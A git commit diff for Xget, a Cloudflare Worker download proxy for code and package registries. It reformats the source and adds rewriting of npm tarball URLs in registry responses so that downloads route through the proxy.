Add npm registry URL rewriting and improve formatting
Introduces logic to rewrite npm registry tarball URLs in JSON responses to route through the proxy endpoint, ensuring package names are preserved. Also improves code formatting and consistency across source and test files, and adds related test cases for npm URL rewriting.
This commit is contained in:
1 parent
31e25a1c6f
commit
b147ea7052
14 files changed
+867
-753
No files matched your search
+11
-11
@@ -1,4 +1,4 @@
|
||||
import { PLATFORMS } from "./platforms";
|
||||
import { PLATFORMS } from './platforms';
|
||||
|
||||
/**
|
||||
* @typedef {Object} SecurityConfig
|
||||
@@ -19,14 +19,14 @@ import { PLATFORMS } from "./platforms";
|
||||
|
||||
/** @type {ApplicationConfig} */
|
||||
export const CONFIG = {
|
||||
TIMEOUT_SECONDS: 30,
|
||||
MAX_RETRIES: 3,
|
||||
RETRY_DELAY_MS: 1000,
|
||||
CACHE_DURATION: 1800, // 30 minutes
|
||||
SECURITY: {
|
||||
ALLOWED_METHODS: ["GET", "HEAD"], // POST is allowed dynamically for Git operations
|
||||
ALLOWED_ORIGINS: ["*"],
|
||||
MAX_PATH_LENGTH: 2048,
|
||||
},
|
||||
PLATFORMS,
|
||||
TIMEOUT_SECONDS: 30,
|
||||
MAX_RETRIES: 3,
|
||||
RETRY_DELAY_MS: 1000,
|
||||
CACHE_DURATION: 1800, // 30 minutes
|
||||
SECURITY: {
|
||||
ALLOWED_METHODS: ['GET', 'HEAD'], // POST is allowed dynamically for Git operations
|
||||
ALLOWED_ORIGINS: ['*'],
|
||||
MAX_PATH_LENGTH: 2048
|
||||
},
|
||||
PLATFORMS
|
||||
};
|
||||
+45
-45
@@ -3,49 +3,49 @@
|
||||
* @type {Object.<string, {base: string, transform: function(string): string}>}
|
||||
*/
|
||||
export const PLATFORMS = {
|
||||
/** @type {{base: string, transform: function(string): string}} GitHub configuration */
|
||||
gh: {
|
||||
base: "https://github.com",
|
||||
transform: (path) => path.replace(/^\/gh\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} GitLab configuration */
|
||||
gl: {
|
||||
base: "https://gitlab.com",
|
||||
transform: (path) => path.replace(/^\/gl\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} Hugging Face configuration */
|
||||
hf: {
|
||||
base: "https://huggingface.co",
|
||||
transform: (path) => path.replace(/^\/hf\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} npm registry configuration */
|
||||
npm: {
|
||||
base: "https://registry.npmjs.org",
|
||||
transform: (path) => path.replace(/^\/npm\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} PyPI registry configuration */
|
||||
pypi: {
|
||||
base: "https://pypi.org",
|
||||
transform: (path) => path.replace(/^\/pypi\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} PyPI files configuration */
|
||||
"pypi-files": {
|
||||
base: "https://files.pythonhosted.org",
|
||||
transform: (path) => path.replace(/^\/pypi\/files\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} conda default channels configuration */
|
||||
conda: {
|
||||
base: "https://repo.anaconda.com",
|
||||
transform: (path) => path.replace(/^\/conda\//, "/"),
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} conda community channels configuration */
|
||||
"conda-community": {
|
||||
base: "https://conda.anaconda.org",
|
||||
transform: (path) => path.replace(/^\/conda\/community\//, "/"),
|
||||
},
|
||||
// /** @type {{base: string, transform: function(string): string}} All platforms */
|
||||
// link: {
|
||||
// base: "https://",
|
||||
// transform: (path) => path.replace(/^\/link\//, "/"),
|
||||
// },
|
||||
/** @type {{base: string, transform: function(string): string}} GitHub configuration */
|
||||
gh: {
|
||||
base: 'https://github.com',
|
||||
transform: path => path.replace(/^\/gh\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} GitLab configuration */
|
||||
gl: {
|
||||
base: 'https://gitlab.com',
|
||||
transform: path => path.replace(/^\/gl\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} Hugging Face configuration */
|
||||
hf: {
|
||||
base: 'https://huggingface.co',
|
||||
transform: path => path.replace(/^\/hf\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} npm registry configuration */
|
||||
npm: {
|
||||
base: 'https://registry.npmjs.org',
|
||||
transform: path => path.replace(/^\/npm\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} PyPI registry configuration */
|
||||
pypi: {
|
||||
base: 'https://pypi.org',
|
||||
transform: path => path.replace(/^\/pypi\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} PyPI files configuration */
|
||||
'pypi-files': {
|
||||
base: 'https://files.pythonhosted.org',
|
||||
transform: path => path.replace(/^\/pypi\/files\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} conda default channels configuration */
|
||||
conda: {
|
||||
base: 'https://repo.anaconda.com',
|
||||
transform: path => path.replace(/^\/conda\//, '/')
|
||||
},
|
||||
/** @type {{base: string, transform: function(string): string}} conda community channels configuration */
|
||||
'conda-community': {
|
||||
base: 'https://conda.anaconda.org',
|
||||
transform: path => path.replace(/^\/conda\/community\//, '/')
|
||||
}
|
||||
// /** @type {{base: string, transform: function(string): string}} All platforms */
|
||||
// link: {
|
||||
// base: "https://",
|
||||
// transform: (path) => path.replace(/^\/link\//, "/"),
|
||||
// },
|
||||
};
|
||||
+311
-343
@@ -1,35 +1,35 @@
|
||||
import { CONFIG } from "./config/index.js";
|
||||
import { CONFIG } from './config/index.js';
|
||||
|
||||
/**
|
||||
* Monitors performance metrics during request processing
|
||||
*/
|
||||
class PerformanceMonitor {
|
||||
/**
|
||||
* Initializes a new performance monitor
|
||||
*/
|
||||
constructor() {
|
||||
this.startTime = Date.now();
|
||||
this.marks = new Map();
|
||||
}
|
||||
/**
|
||||
* Initializes a new performance monitor
|
||||
*/
|
||||
constructor() {
|
||||
this.startTime = Date.now();
|
||||
this.marks = new Map();
|
||||
}
|
||||
|
||||
/**
|
||||
* Marks a timing point with the given name
|
||||
* @param {string} name - The name of the timing mark
|
||||
*/
|
||||
mark(name) {
|
||||
if (this.marks.has(name)) {
|
||||
console.warn(`Mark with name ${name} already exists.`);
|
||||
}
|
||||
this.marks.set(name, Date.now() - this.startTime);
|
||||
}
|
||||
/**
|
||||
* Marks a timing point with the given name
|
||||
* @param {string} name - The name of the timing mark
|
||||
*/
|
||||
mark(name) {
|
||||
if (this.marks.has(name)) {
|
||||
console.warn(`Mark with name ${name} already exists.`);
|
||||
}
|
||||
this.marks.set(name, Date.now() - this.startTime);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns all collected metrics
|
||||
* @returns {Object.<string, number>} Object containing name-timestamp pairs
|
||||
*/
|
||||
getMetrics() {
|
||||
return Object.fromEntries(this.marks.entries());
|
||||
}
|
||||
/**
|
||||
* Returns all collected metrics
|
||||
* @returns {Object.<string, number>} Object containing name-timestamp pairs
|
||||
*/
|
||||
getMetrics() {
|
||||
return Object.fromEntries(this.marks.entries());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -39,40 +39,34 @@ class PerformanceMonitor {
|
||||
* @returns {boolean} True if this is a Git operation
|
||||
*/
|
||||
function isGitRequest(request, url) {
|
||||
// Check for Git-specific endpoints
|
||||
if (url.pathname.endsWith("/info/refs")) {
|
||||
return true;
|
||||
}
|
||||
// Check for Git-specific endpoints
|
||||
if (url.pathname.endsWith('/info/refs')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (
|
||||
url.pathname.endsWith("/git-upload-pack") ||
|
||||
url.pathname.endsWith("/git-receive-pack")
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for Git user agents (more comprehensive check)
|
||||
const userAgent = request.headers.get("User-Agent") || "";
|
||||
if (userAgent.includes("git/") || userAgent.startsWith("git/")) {
|
||||
return true;
|
||||
}
|
||||
// Check for Git user agents (more comprehensive check)
|
||||
const userAgent = request.headers.get('User-Agent') || '';
|
||||
if (userAgent.includes('git/') || userAgent.startsWith('git/')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for Git-specific query parameters
|
||||
if (url.searchParams.has("service")) {
|
||||
const service = url.searchParams.get("service");
|
||||
return service === "git-upload-pack" || service === "git-receive-pack";
|
||||
}
|
||||
// Check for Git-specific query parameters
|
||||
if (url.searchParams.has('service')) {
|
||||
const service = url.searchParams.get('service');
|
||||
return service === 'git-upload-pack' || service === 'git-receive-pack';
|
||||
}
|
||||
|
||||
// Check for Git-specific content types
|
||||
const contentType = request.headers.get("Content-Type") || "";
|
||||
if (
|
||||
contentType.includes("git-upload-pack") ||
|
||||
contentType.includes("git-receive-pack")
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
// Check for Git-specific content types
|
||||
const contentType = request.headers.get('Content-Type') || '';
|
||||
if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -82,20 +76,20 @@ function isGitRequest(request, url) {
|
||||
* @returns {{valid: boolean, error?: string, status?: number}} Validation result
|
||||
*/
|
||||
function validateRequest(request, url) {
|
||||
// Allow POST method for Git operations
|
||||
const allowedMethods = isGitRequest(request, url)
|
||||
? ["GET", "HEAD", "POST"]
|
||||
: CONFIG.SECURITY.ALLOWED_METHODS;
|
||||
// Allow POST method for Git operations
|
||||
const allowedMethods = isGitRequest(request, url)
|
||||
? ['GET', 'HEAD', 'POST']
|
||||
: CONFIG.SECURITY.ALLOWED_METHODS;
|
||||
|
||||
if (!allowedMethods.includes(request.method)) {
|
||||
return { valid: false, error: "Method not allowed", status: 405 };
|
||||
}
|
||||
if (!allowedMethods.includes(request.method)) {
|
||||
return { valid: false, error: 'Method not allowed', status: 405 };
|
||||
}
|
||||
|
||||
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
|
||||
return { valid: false, error: "Path too long", status: 414 };
|
||||
}
|
||||
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
|
||||
return { valid: false, error: 'Path too long', status: 414 };
|
||||
}
|
||||
|
||||
return { valid: true };
|
||||
return { valid: true };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -104,19 +98,13 @@ function validateRequest(request, url) {
|
||||
* @returns {Headers} Modified headers object
|
||||
*/
|
||||
function addSecurityHeaders(headers) {
|
||||
headers.set(
|
||||
"Strict-Transport-Security",
|
||||
"max-age=31536000; includeSubDomains; preload"
|
||||
);
|
||||
headers.set("X-Frame-Options", "DENY");
|
||||
headers.set("X-XSS-Protection", "1; mode=block");
|
||||
headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
|
||||
headers.set(
|
||||
"Content-Security-Policy",
|
||||
"default-src 'none'; img-src 'self'; script-src 'none'"
|
||||
);
|
||||
headers.set("Permissions-Policy", "interest-cohort=()");
|
||||
return headers;
|
||||
headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
|
||||
headers.set('X-Frame-Options', 'DENY');
|
||||
headers.set('X-XSS-Protection', '1; mode=block');
|
||||
headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
|
||||
headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'");
|
||||
headers.set('Permissions-Policy', 'interest-cohort=()');
|
||||
return headers;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -127,289 +115,269 @@ function addSecurityHeaders(headers) {
|
||||
* @returns {Promise<Response>} The response object
|
||||
*/
|
||||
async function handleRequest(request, env, ctx) {
|
||||
try {
|
||||
const url = new URL(request.url);
|
||||
try {
|
||||
const url = new URL(request.url);
|
||||
|
||||
const monitor = new PerformanceMonitor();
|
||||
const monitor = new PerformanceMonitor();
|
||||
|
||||
// Redirect root path or invalid platforms to GitHub repository
|
||||
if (url.pathname === "/" || url.pathname === "") {
|
||||
const HOME_PAGE_URL = "https://github.com/xixu-me/Xget";
|
||||
return Response.redirect(HOME_PAGE_URL, 302);
|
||||
}
|
||||
// Redirect root path or invalid platforms to GitHub repository
|
||||
if (url.pathname === '/' || url.pathname === '') {
|
||||
const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';
|
||||
return Response.redirect(HOME_PAGE_URL, 302);
|
||||
}
|
||||
|
||||
const validation = validateRequest(request, url);
|
||||
if (!validation.valid) {
|
||||
return new Response(validation.error, {
|
||||
status: validation.status,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
});
|
||||
}
|
||||
const validation = validateRequest(request, url);
|
||||
if (!validation.valid) {
|
||||
return new Response(validation.error, {
|
||||
status: validation.status,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
}
|
||||
|
||||
// Parse platform and path
|
||||
let platform;
|
||||
// Parse platform and path
|
||||
let platform;
|
||||
|
||||
// Platform detection using transform patterns
|
||||
// Sort platforms by path length (descending) to prioritize more specific paths
|
||||
// e.g., conda/community should match before conda, pypi/files before pypi
|
||||
const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => {
|
||||
const pathA = `/${a.replace("-", "/")}/`;
|
||||
const pathB = `/${b.replace("-", "/")}/`;
|
||||
return pathB.length - pathA.length;
|
||||
});
|
||||
// Platform detection using transform patterns
|
||||
// Sort platforms by path length (descending) to prioritize more specific paths
|
||||
// e.g., conda/community should match before conda, pypi/files before pypi
|
||||
const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => {
|
||||
const pathA = `/${a.replace('-', '/')}/`;
|
||||
const pathB = `/${b.replace('-', '/')}/`;
|
||||
return pathB.length - pathA.length;
|
||||
});
|
||||
|
||||
platform =
|
||||
sortedPlatforms.find((key) => {
|
||||
const expectedPrefix = `/${key.replace("-", "/")}/`;
|
||||
return url.pathname.startsWith(expectedPrefix);
|
||||
}) || url.pathname.split("/")[1];
|
||||
platform =
|
||||
sortedPlatforms.find(key => {
|
||||
const expectedPrefix = `/${key.replace('-', '/')}/`;
|
||||
return url.pathname.startsWith(expectedPrefix);
|
||||
}) || url.pathname.split('/')[1];
|
||||
|
||||
if (!platform || !CONFIG.PLATFORMS[platform]) {
|
||||
const HOME_PAGE_URL = "https://github.com/xixu-me/Xget";
|
||||
return Response.redirect(HOME_PAGE_URL, 302);
|
||||
}
|
||||
if (!platform || !CONFIG.PLATFORMS[platform]) {
|
||||
const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';
|
||||
return Response.redirect(HOME_PAGE_URL, 302);
|
||||
}
|
||||
|
||||
// Transform URL based on platform
|
||||
const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname);
|
||||
const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`;
|
||||
// Transform URL based on platform
|
||||
const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname);
|
||||
const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`;
|
||||
|
||||
// Check if this is a Git operation
|
||||
const isGit = isGitRequest(request, url);
|
||||
// Check if this is a Git operation
|
||||
const isGit = isGitRequest(request, url);
|
||||
|
||||
// Check cache first (skip cache for Git operations)
|
||||
const cache = caches.default;
|
||||
const cacheKey = new Request(targetUrl, request);
|
||||
let response;
|
||||
// Check cache first (skip cache for Git operations)
|
||||
const cache = caches.default;
|
||||
const cacheKey = new Request(targetUrl, request);
|
||||
let response;
|
||||
|
||||
if (!isGit) {
|
||||
response = await cache.match(cacheKey);
|
||||
if (response) {
|
||||
monitor.mark("cache_hit");
|
||||
return response;
|
||||
}
|
||||
}
|
||||
if (!isGit) {
|
||||
response = await cache.match(cacheKey);
|
||||
if (response) {
|
||||
monitor.mark('cache_hit');
|
||||
return response;
|
||||
}
|
||||
}
|
||||
|
||||
const fetchOptions = {
|
||||
method: request.method,
|
||||
headers: new Headers(),
|
||||
};
|
||||
const fetchOptions = {
|
||||
method: request.method,
|
||||
headers: new Headers()
|
||||
};
|
||||
|
||||
// Add body for POST requests (Git operations)
|
||||
if (request.method === "POST" && isGit) {
|
||||
// For Git operations, we need to preserve the original body stream
|
||||
fetchOptions.body = request.body;
|
||||
}
|
||||
// Add body for POST requests (Git operations)
|
||||
if (request.method === 'POST' && isGit) {
|
||||
// For Git operations, we need to preserve the original body stream
|
||||
fetchOptions.body = request.body;
|
||||
}
|
||||
|
||||
// Set appropriate headers for Git vs regular requests
|
||||
if (isGit) {
|
||||
// For Git operations, copy all headers from the original request
|
||||
// This ensures Git protocol compliance
|
||||
for (const [key, value] of request.headers.entries()) {
|
||||
// Skip headers that might cause issues with proxying
|
||||
if (
|
||||
!["host", "connection", "upgrade", "proxy-connection"].includes(
|
||||
key.toLowerCase()
|
||||
)
|
||||
) {
|
||||
fetchOptions.headers.set(key, value);
|
||||
}
|
||||
}
|
||||
// Set appropriate headers for Git vs regular requests
|
||||
if (isGit) {
|
||||
// For Git operations, copy all headers from the original request
|
||||
// This ensures Git protocol compliance
|
||||
for (const [key, value] of request.headers.entries()) {
|
||||
// Skip headers that might cause issues with proxying
|
||||
if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) {
|
||||
fetchOptions.headers.set(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
// Set Git-specific headers if not present
|
||||
if (!fetchOptions.headers.has("User-Agent")) {
|
||||
fetchOptions.headers.set("User-Agent", "git/2.34.1");
|
||||
}
|
||||
// Set Git-specific headers if not present
|
||||
if (!fetchOptions.headers.has('User-Agent')) {
|
||||
fetchOptions.headers.set('User-Agent', 'git/2.34.1');
|
||||
}
|
||||
|
||||
// For Git upload-pack requests, ensure proper content type
|
||||
if (
|
||||
request.method === "POST" &&
|
||||
url.pathname.endsWith("/git-upload-pack")
|
||||
) {
|
||||
if (!fetchOptions.headers.has("Content-Type")) {
|
||||
fetchOptions.headers.set(
|
||||
"Content-Type",
|
||||
"application/x-git-upload-pack-request"
|
||||
);
|
||||
}
|
||||
}
|
||||
// For Git upload-pack requests, ensure proper content type
|
||||
if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) {
|
||||
if (!fetchOptions.headers.has('Content-Type')) {
|
||||
fetchOptions.headers.set('Content-Type', 'application/x-git-upload-pack-request');
|
||||
}
|
||||
}
|
||||
|
||||
// For Git receive-pack requests, ensure proper content type
|
||||
if (
|
||||
request.method === "POST" &&
|
||||
url.pathname.endsWith("/git-receive-pack")
|
||||
) {
|
||||
if (!fetchOptions.headers.has("Content-Type")) {
|
||||
fetchOptions.headers.set(
|
||||
"Content-Type",
|
||||
"application/x-git-receive-pack-request"
|
||||
);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Regular file download headers
|
||||
Object.assign(fetchOptions, {
|
||||
cf: {
|
||||
http3: true,
|
||||
cacheTtl: CONFIG.CACHE_DURATION,
|
||||
cacheEverything: true,
|
||||
minify: {
|
||||
javascript: true,
|
||||
css: true,
|
||||
html: true,
|
||||
},
|
||||
preconnect: true,
|
||||
},
|
||||
});
|
||||
// For Git receive-pack requests, ensure proper content type
|
||||
if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) {
|
||||
if (!fetchOptions.headers.has('Content-Type')) {
|
||||
fetchOptions.headers.set('Content-Type', 'application/x-git-receive-pack-request');
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Regular file download headers
|
||||
Object.assign(fetchOptions, {
|
||||
cf: {
|
||||
http3: true,
|
||||
cacheTtl: CONFIG.CACHE_DURATION,
|
||||
cacheEverything: true,
|
||||
minify: {
|
||||
javascript: true,
|
||||
css: true,
|
||||
html: true
|
||||
},
|
||||
preconnect: true
|
||||
}
|
||||
});
|
||||
|
||||
fetchOptions.headers.set("Accept-Encoding", "gzip, deflate, br");
|
||||
fetchOptions.headers.set("Connection", "keep-alive");
|
||||
fetchOptions.headers.set("User-Agent", "Wget/1.21.3");
|
||||
fetchOptions.headers.set("Origin", request.headers.get("Origin") || "*");
|
||||
fetchOptions.headers.set('Accept-Encoding', 'gzip, deflate, br');
|
||||
fetchOptions.headers.set('Connection', 'keep-alive');
|
||||
fetchOptions.headers.set('User-Agent', 'Wget/1.21.3');
|
||||
fetchOptions.headers.set('Origin', request.headers.get('Origin') || '*');
|
||||
|
||||
// Handle range requests
|
||||
const rangeHeader = request.headers.get("Range");
|
||||
if (rangeHeader) {
|
||||
fetchOptions.headers.set("Range", rangeHeader);
|
||||
}
|
||||
}
|
||||
// Handle range requests
|
||||
const rangeHeader = request.headers.get('Range');
|
||||
if (rangeHeader) {
|
||||
fetchOptions.headers.set('Range', rangeHeader);
|
||||
}
|
||||
}
|
||||
|
||||
// Implement retry mechanism
|
||||
let attempts = 0;
|
||||
while (attempts < CONFIG.MAX_RETRIES) {
|
||||
try {
|
||||
monitor.mark("attempt_" + attempts);
|
||||
// Implement retry mechanism
|
||||
let attempts = 0;
|
||||
while (attempts < CONFIG.MAX_RETRIES) {
|
||||
try {
|
||||
monitor.mark('attempt_' + attempts);
|
||||
|
||||
// Fetch with timeout
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(
|
||||
() => controller.abort(),
|
||||
CONFIG.TIMEOUT_SECONDS * 1000
|
||||
);
|
||||
// Fetch with timeout
|
||||
const controller = new AbortController();
|
||||
const timeoutId = setTimeout(() => controller.abort(), CONFIG.TIMEOUT_SECONDS * 1000);
|
||||
|
||||
// For Git operations, don't use Cloudflare-specific options
|
||||
const finalFetchOptions = isGit
|
||||
? { ...fetchOptions, signal: controller.signal }
|
||||
: { ...fetchOptions, signal: controller.signal };
|
||||
// For Git operations, don't use Cloudflare-specific options
|
||||
const finalFetchOptions = isGit
|
||||
? { ...fetchOptions, signal: controller.signal }
|
||||
: { ...fetchOptions, signal: controller.signal };
|
||||
|
||||
response = await fetch(targetUrl, finalFetchOptions);
|
||||
response = await fetch(targetUrl, finalFetchOptions);
|
||||
|
||||
clearTimeout(timeoutId);
|
||||
clearTimeout(timeoutId);
|
||||
|
||||
if (response.ok || response.status === 206) {
|
||||
monitor.mark("success");
|
||||
break;
|
||||
}
|
||||
if (response.ok || response.status === 206) {
|
||||
monitor.mark('success');
|
||||
break;
|
||||
}
|
||||
|
||||
// Don't retry on client errors (4xx) - these won't improve with retries
|
||||
if (response.status >= 400 && response.status < 500) {
|
||||
monitor.mark("client_error");
|
||||
break;
|
||||
}
|
||||
// Don't retry on client errors (4xx) - these won't improve with retries
|
||||
if (response.status >= 400 && response.status < 500) {
|
||||
monitor.mark('client_error');
|
||||
break;
|
||||
}
|
||||
|
||||
attempts++;
|
||||
if (attempts < CONFIG.MAX_RETRIES) {
|
||||
await new Promise((resolve) =>
|
||||
setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)
|
||||
);
|
||||
}
|
||||
} catch (error) {
|
||||
attempts++;
|
||||
if (error.name === "AbortError") {
|
||||
return new Response("Request timeout", {
|
||||
status: 408,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
});
|
||||
}
|
||||
if (attempts >= CONFIG.MAX_RETRIES) {
|
||||
return new Response(
|
||||
`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`,
|
||||
{
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
}
|
||||
);
|
||||
}
|
||||
// Wait before retrying
|
||||
await new Promise((resolve) =>
|
||||
setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)
|
||||
);
|
||||
}
|
||||
}
|
||||
attempts++;
|
||||
if (attempts < CONFIG.MAX_RETRIES) {
|
||||
await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts));
|
||||
}
|
||||
} catch (error) {
|
||||
attempts++;
|
||||
if (error.name === 'AbortError') {
|
||||
return new Response('Request timeout', {
|
||||
status: 408,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
}
|
||||
if (attempts >= CONFIG.MAX_RETRIES) {
|
||||
return new Response(`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, {
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
}
|
||||
// Wait before retrying
|
||||
await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts));
|
||||
}
|
||||
}
|
||||
|
||||
// Check if we have a valid response after all attempts
|
||||
if (!response) {
|
||||
return new Response("No response received after all retry attempts", {
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
});
|
||||
}
|
||||
// Check if we have a valid response after all attempts
|
||||
if (!response) {
|
||||
return new Response('No response received after all retry attempts', {
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
}
|
||||
|
||||
// If response is still not ok after all retries, return the error
|
||||
if (!response.ok && response.status !== 206) {
|
||||
const errorText = await response.text().catch(() => "Unknown error");
|
||||
return new Response(
|
||||
`Upstream server error (${response.status}): ${errorText}`,
|
||||
{
|
||||
status: response.status,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
}
|
||||
);
|
||||
}
|
||||
// If response is still not ok after all retries, return the error
|
||||
if (!response.ok && response.status !== 206) {
|
||||
const errorText = await response.text().catch(() => 'Unknown error');
|
||||
return new Response(`Upstream server error (${response.status}): ${errorText}`, {
|
||||
status: response.status,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
}
|
||||
|
||||
// Handle PyPI simple index URL rewriting
|
||||
let responseBody = response.body;
|
||||
if (
|
||||
platform === "pypi" &&
|
||||
response.headers.get("content-type")?.includes("text/html")
|
||||
) {
|
||||
const originalText = await response.text();
|
||||
// Rewrite URLs in the response body to go through the Cloudflare Worker
|
||||
// files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint
|
||||
const rewrittenText = originalText.replace(
|
||||
/https:\/\/files\.pythonhosted\.org/g,
|
||||
`${url.origin}/pypi/files`
|
||||
);
|
||||
responseBody = rewrittenText;
|
||||
}
|
||||
// Handle URL rewriting for different platforms
|
||||
let responseBody = response.body;
|
||||
|
||||
// Prepare response headers
|
||||
const headers = new Headers(response.headers);
|
||||
// Handle PyPI simple index URL rewriting
|
||||
if (platform === 'pypi' && response.headers.get('content-type')?.includes('text/html')) {
|
||||
const originalText = await response.text();
|
||||
// Rewrite URLs in the response body to go through the Cloudflare Worker
|
||||
// files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint
|
||||
const rewrittenText = originalText.replace(
|
||||
/https:\/\/files\.pythonhosted\.org/g,
|
||||
`${url.origin}/pypi/files`
|
||||
);
|
||||
responseBody = rewrittenText;
|
||||
}
|
||||
|
||||
if (isGit) {
|
||||
// For Git operations, preserve all headers from the upstream response
|
||||
// Git protocol is very sensitive to header changes
|
||||
// Don't add any additional headers that might interfere with Git protocol
|
||||
// The response headers from GitHub/GitLab should be passed through as-is
|
||||
} else {
|
||||
// Regular file download headers
|
||||
headers.set("Cache-Control", `public, max-age=${CONFIG.CACHE_DURATION}`);
|
||||
headers.set("X-Content-Type-Options", "nosniff");
|
||||
headers.set("Accept-Ranges", "bytes");
|
||||
addSecurityHeaders(headers);
|
||||
}
|
||||
// Handle npm registry URL rewriting
|
||||
if (platform === 'npm' && response.headers.get('content-type')?.includes('application/json')) {
|
||||
const originalText = await response.text();
|
||||
// Rewrite tarball URLs in npm registry responses to go through our npm endpoint
|
||||
// https://registry.npmjs.org/package/-/package-version.tgz -> https://xget.xi-xu.me/npm/package/-/package-version.tgz
|
||||
const rewrittenText = originalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`${url.origin}/npm/$1`
|
||||
);
|
||||
responseBody = rewrittenText;
|
||||
}
|
||||
|
||||
// Create final response
|
||||
const finalResponse = new Response(responseBody, {
|
||||
status: response.status,
|
||||
headers: headers,
|
||||
});
|
||||
// Prepare response headers
|
||||
const headers = new Headers(response.headers);
|
||||
|
||||
// Cache successful responses (skip caching for Git operations)
|
||||
if (!isGit && (response.ok || response.status === 206)) {
|
||||
ctx.waitUntil(cache.put(cacheKey, finalResponse.clone()));
|
||||
}
|
||||
if (isGit) {
|
||||
// For Git operations, preserve all headers from the upstream response
|
||||
// Git protocol is very sensitive to header changes
|
||||
// Don't add any additional headers that might interfere with Git protocol
|
||||
// The response headers from GitHub/GitLab should be passed through as-is
|
||||
} else {
|
||||
// Regular file download headers
|
||||
headers.set('Cache-Control', `public, max-age=${CONFIG.CACHE_DURATION}`);
|
||||
headers.set('X-Content-Type-Options', 'nosniff');
|
||||
headers.set('Accept-Ranges', 'bytes');
|
||||
addSecurityHeaders(headers);
|
||||
}
|
||||
|
||||
monitor.mark("complete");
|
||||
return isGit
|
||||
? finalResponse
|
||||
: addPerformanceHeaders(finalResponse, monitor);
|
||||
} catch (error) {
|
||||
console.error("Error handling request:", error);
|
||||
return new Response(`Internal Server Error: ${error.message}`, {
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers()),
|
||||
});
|
||||
}
|
||||
// Create final response
|
||||
const finalResponse = new Response(responseBody, {
|
||||
status: response.status,
|
||||
headers: headers
|
||||
});
|
||||
|
||||
// Cache successful responses (skip caching for Git operations)
|
||||
if (!isGit && (response.ok || response.status === 206)) {
|
||||
ctx.waitUntil(cache.put(cacheKey, finalResponse.clone()));
|
||||
}
|
||||
|
||||
monitor.mark('complete');
|
||||
return isGit ? finalResponse : addPerformanceHeaders(finalResponse, monitor);
|
||||
} catch (error) {
|
||||
console.error('Error handling request:', error);
|
||||
return new Response(`Internal Server Error: ${error.message}`, {
|
||||
status: 500,
|
||||
headers: addSecurityHeaders(new Headers())
|
||||
});
|
||||
